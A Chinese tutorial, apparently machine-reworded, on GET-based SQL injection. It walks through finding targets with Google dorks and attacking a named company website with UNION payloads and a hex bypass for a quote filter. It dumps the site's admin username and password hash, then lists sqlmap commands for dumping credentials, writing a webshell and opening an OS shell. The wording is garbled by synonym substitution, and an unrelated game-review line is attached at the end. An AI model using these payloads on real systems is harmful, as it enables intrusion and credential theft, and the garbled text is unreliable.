真香
Get型SQL灌入思路分享
下面我将分享一下我从找漏洞起先到拿到玩家名密码为止的每一步具体思路和环节,以供大伙儿沟通学习。
一、寻找灌入点
这一局部实在关于我这种刚学基本的小白是最难的, 很长一段时间就在冲动的换网站, 尝试, 扫描, 不行就换下一个, 我建议大伙儿运用google hacking, 实在就是高等搜寻语言, 我总结几个最容易最常用的用法
intext:
寻找正文中
含有枢纽字的网页
例如: intext:后台登录 将只返回正文中包罗 ”后台登录” 的网页
intitle:
寻找题目中
含有枢纽字的网页
例如: intitle:登录 将只返回题目中包罗”登录”的网页
inurl:
将返回url中
含有枢纽词的网页
例如:inurl:Login 将返回url中含有 Login 的网页
site:
特定访问的站点
例如: site:baidu.com inurl:Login 将只在baidu.com 中查找url中含有 Login的网页
Google hacking 既然有google自然用google最佳了, 百度上….emmmmm…反正我和我身边的同窗加起来几天就找到两个灌入点, google我在一页就找到好几个, 自然大局部我都灌入不进去, 但是我仍是建议大伙儿用firefox或许chrome的署理插件, 例如…百度一下就有, 然后在www.google.com上运用google hacking如inurl:?id=1查找, 搜出来的网站下面绿色的网址会被google过滤一遍, 找到自己需要的格式的网址就对照便利, 如下图的第二个网站看起来就对照好灌入
曾经的都是做筹备, 如今的才是正题.
这里拿三樱装潢(江苏)有限企业举个实例吧, url: http://www.shsuna.com/en/company.php?id=35 【注:该漏洞已提交有关平台】
跨入网站后来, 用单引号试一下
看到这行报错, 绝对路径都掉落来了, 看来有戏
试一下 ?id=35 and 1=1 出现waf (Web应用防护系统, 也称:网站应用级入侵防备系统 。英文:Web Application Firewall,简称: WAF)
揣测是刚刚的空格被过滤了, 于是尝尝用衔接符取代空格, ?id=35+and+1=1
[后台履行]: SELECT xxx FROM sanying WHERE id=35 and 1=1
因为 1 and 1 = 1 因此实际上是履行了 SELECT xxx FROM sanying
页面返回正常, 尝尝?id=35+and+1=2 发掘返回空缺页面
[后台履行]: SELECT xxx FROM sanying WHERE id=35 and 1=2
1 and 2 = 0
没有语法不对可是逻辑判定为假, 因此返回不对
好的, 确认找到灌入点
二、找到了灌入点后来就有两种方式了, 手工和
sqlmap
手工灌入:
Orderby1返回正常,orderby2返回不对页面,发掘列数为1
[证实]:
Order by 是用于排序的, 后面的数字代表列数, 咱们这里可以用来检测列数
Order by 1 第一列从事排序
……
Order by 10 不对, 就表示没有第十列, 因此一共有9列
2. http://www.shsuna.com/en/company.php?id=-35+union+select+1–+
找到字排位置
[后台履行]:
SELECT xxx FROM sanying WHERE id=-35 UNION SELECT 1
(UNION 结合查询, 用于合并两个或多个SELECT语句的成果集)
Id=-35逻辑判定为假, 因此为0, 语句就化成了运用结合查询来寻找显示位
(显示位: 在一个网站的正常页面,服务端履行SQL语句查询资料库中的资料, 客户端将资料揭示在页面中, 这个揭示资料的位置就叫显示位)
3. 运用mysql默认表名爆资料库名, 调节limit 0,1(0是指查询从0起先, 1指一个长度)
Mysql默认资料库:
| SCHEMATA ->SCHEMA_NAME |
| TABLES -> TABLE_SCHEMA |
Information_schema -> |->TABLE_NAME |
|COLUMNS -> TABLE_SCHEMA |
| -> TABLE_NAME |
|->COLUMN_NAME |
[证实]:
SELECT xxx FROM sanying WHERE id=-35 UNION SELECT schema_name FROM information_schema.schemata LIMIT 0,1
目标就是寻找默认资料库information_schema中, 表schemata内, 列schema_name里面存储的字段, 该字段有资料库内的一切的资料库名, 通过函数limit m,n挨个查询
获得三个资料库名
information_schema
sanying
testserver8800
4. 试了一下
http://www.shsuna.com/en/company.php?id=-35+union+select+TABLE_NAME+from+information_schema.TABLES+where+TABLE_SCHEMA=%27sanying%27+limit+0,1–+
用了where+TABLE_SCHEMA=’sanying’ 限制资料库, 发掘页面没消息, 再三确认没写错后来, 应该是单引号被过滤了, 于是思考用 database取代, 可是这样只可获得眼前资料库的消息, 可以运用十六进制绕过, 即用十六进制取代引号内的资料
, 如sanying 的十六进制为73616e79696e67
(十六进制完整局部请看下一个大题目)
手动跑完17个payload获得17个表名
table:
db_down
db_field
db_files
db_index_images
db_jobs
db_manage
db_member
db_menu
db_message
db_my_ads
db_my_links
db_news
title
db_products
db_record
db_reservation
db_singlepage
db_web_class
5. 察看眼前资料库里面的表名,揣测db_member表里面留存玩家消息, 于是直接构筑结合查询起先猜解
猜解出username,password这两个枢纽字段
获得username: aaaaaa
Password: 0b4e7a0e5fe[马赛克]b5f95b9ceeac79
密码为aa[马赛克]a的哈希
可直接启动胜利
十六进制绕过方式
因为要用到where+TABLE_SCHEMA=’库名’ 而单引号被过滤了, 因此可以运用库名的十六进制取代
http://www.shsuna.com/en/company.php?id=-35+union+select+TABLE_NAME+from+information_schema.TABLES+where+TABLE_SCHEMA=0x73616e79696e67
+limit+0,1–+
Hex(sanying) = 73616e79696e67
可以顺次获得字段id,username,password,email,time
Hex(db_member) = 64625f6d656d626572
列
+from+sanying.db_member+limit+0,1–+
用username,password替代加粗局部,获得玩家名及密码
(经尝试concat和group_concat会引发waf, 不然可以运用concat(str1,str2…)将多个字符串衔接成一个字符串)
sqlmap方式
因为曾经已经了解了是过滤空格, 因此tamper用 space2morehash.py 这个脚本
batch
: 需求不对目标写入 # 预防批改资料库
tamper:
运用干涉脚本
-v 3
# 3为级别3, 不运用级别3不能继承下一步操纵
常用脚本:
space2morehash.py
作用:将空格替代为#,并增加一个随机字符串和换行符
运用脚本前:tamper(’1 AND 9227=9227′)
运用脚本后:1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227
space2hash.py
作用 : 空格替代为#号 随机字符串 以及换行符
base64encode.py
作用:替代为base64编码
运用脚本前:tamper(“1′ AND SLEEP(5)#”)
运用脚本后:MScgQU5EIFNMRUVQKDUpIw==
charencode.py
作用:对给定的payload全体字符运用url编码(不处置已经编码的字符)
运用脚本前:tamper(‘SELECT FIELD FROM%20TABLE’)
运用脚本后:%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45
运用方式
: sqlmap.py -u “” -v 3 –dbs –batch –tamper “脚本”
sqlmap -u -v 3 –dbs –batch –tamper “space2morehash.py”
> 获得资料库
sqlmap -u http://www.shsuna.com/en/company.php?id=37 -v 3 -D sanying –tables –batch –tamper “space2morehash.py”
> 得sanying的表
sqlmap -u http://www.shsuna.com/en/company.php?id=37 -v 3 -D sanying -T db_member –columns –batch –tamper “space2morehash.py”
> 得bd_member的字段
sqlmap -u http://www.shsuna.com/en/company.php?id=37 -v 3 -D sanying -T db_member -C username,password –dump –batch –tamper “space2morehash.py”
> 得账户密码
后面的历程就是夺取资料库基本消息的常见思路,
获得资料库 sqlmap -u “这里是url” –dbs
获得表 sqlmap -u “这里是url” -D 上面获得的随意库名 –tables
获得字段 sqlmap -u “这里是url” -D 库名 -T 上面获得的随意表 –columns # 这里能看到如 username,password
获得资料 sqlmap -u “这里是url” -D 库名 -T 表 -C username,password –dump
发掘可以胜利启动
Sqlmap基本用法
基本格式
sqlmap -u “http://www.vuln.cn/post.php?id=1”
默认运用level1检测全体资料库类别
sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3
特定资料库类别为mysql,级别为3(共5级,级别越高,检测越全面)
cookie灌入
当程序有防get灌入的时候,可以运用cookie灌入
sqlmap -u “http://www.baidu.com/shownews.asp” –cookie “id=11” –level 2(只有level达到2才会检测cookie)
从post资料包中灌入,可以运用burpsuite或许temperdata等工具来抓取post包
sqlmap -r “c:oolsequest.txt” -p “username” –dbms mysql 特定username参数
读取与写入文件
首先找需要网站的物理路径,另外需要有可写或可读权限。
–file-read=RFILE 从后端的资料库治理系统文件系统读取文件 (物理路径)
–file-write=WFILE 编纂后端的资料库治理系统文件系统上的本地文件 (mssql xp_shell)
–file-dest=DFILE 后端的资料库治理系统写入文件的绝对路径
#示例:
sqlmap -r “c:equest.txt” -p id –dbms mysql –file-dest “e:phphtdocsdvwaincinclude1.php” –file-write “f:webshell1112.php”
运用shell命令:
sqlmap -r “c:oolsequest.txt” -p id –dbms mysql –os-shell
接下来特定网站可写目录:
“E:phphtdocsdvwa”
#注:mysql不支援列目录,仅支援读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)
sqlmap具体命令:
–is-dba 眼前玩家权限(是否为root权限)
–dbs 一切资料库
–current-db 网站眼前资料库
–users 一切资料库玩家
–current-user 眼前资料库玩家
–random-agent 构筑随机user-agent
–passwords 资料库密码
–proxy http://local:8080 –threads 10 (可以自定义线程加速) 署理
–time-sec=TIMESEC DBMS回应的迟延时间(默以为5秒)
玩了两周左右,每天活动都做全了,想跟上第一梯队的输出职业需要多花点时间,对于很少玩游戏的我来说很容易上手,音乐很加分。